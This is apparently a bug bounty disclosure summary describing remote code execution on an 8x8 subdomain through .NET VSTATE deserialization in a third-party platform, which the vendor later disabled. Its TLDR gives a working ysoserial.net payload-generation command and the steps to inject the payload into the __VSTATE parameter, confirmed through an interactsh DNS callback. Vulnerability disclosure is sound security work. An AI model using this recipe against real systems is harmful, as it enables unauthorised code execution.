Remote Code Execution on ██.8x8.com via .NET VSTATE Deserialization

Summary

@0daystolive reported to us a flaw in a 3rd party community platform, which could be exploited to achieve RCE. We swiftly relayed this to the vendor and their engineering team turned off the affected code, which resolved the issue.

For more details about this vulnerability read: https://blog.sorcery.ie/posts/higherlogic_rce

TLDR:

1. Generate payload with ysoserial.net: ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.interactsh.com" -o raw | base64 -d | gzip - | base64 -w0
2. Insert payload into __VSTATE parameter on the page.
3. Submit the form.
4. A DNS request is observed on interactsh, confirming the RCE.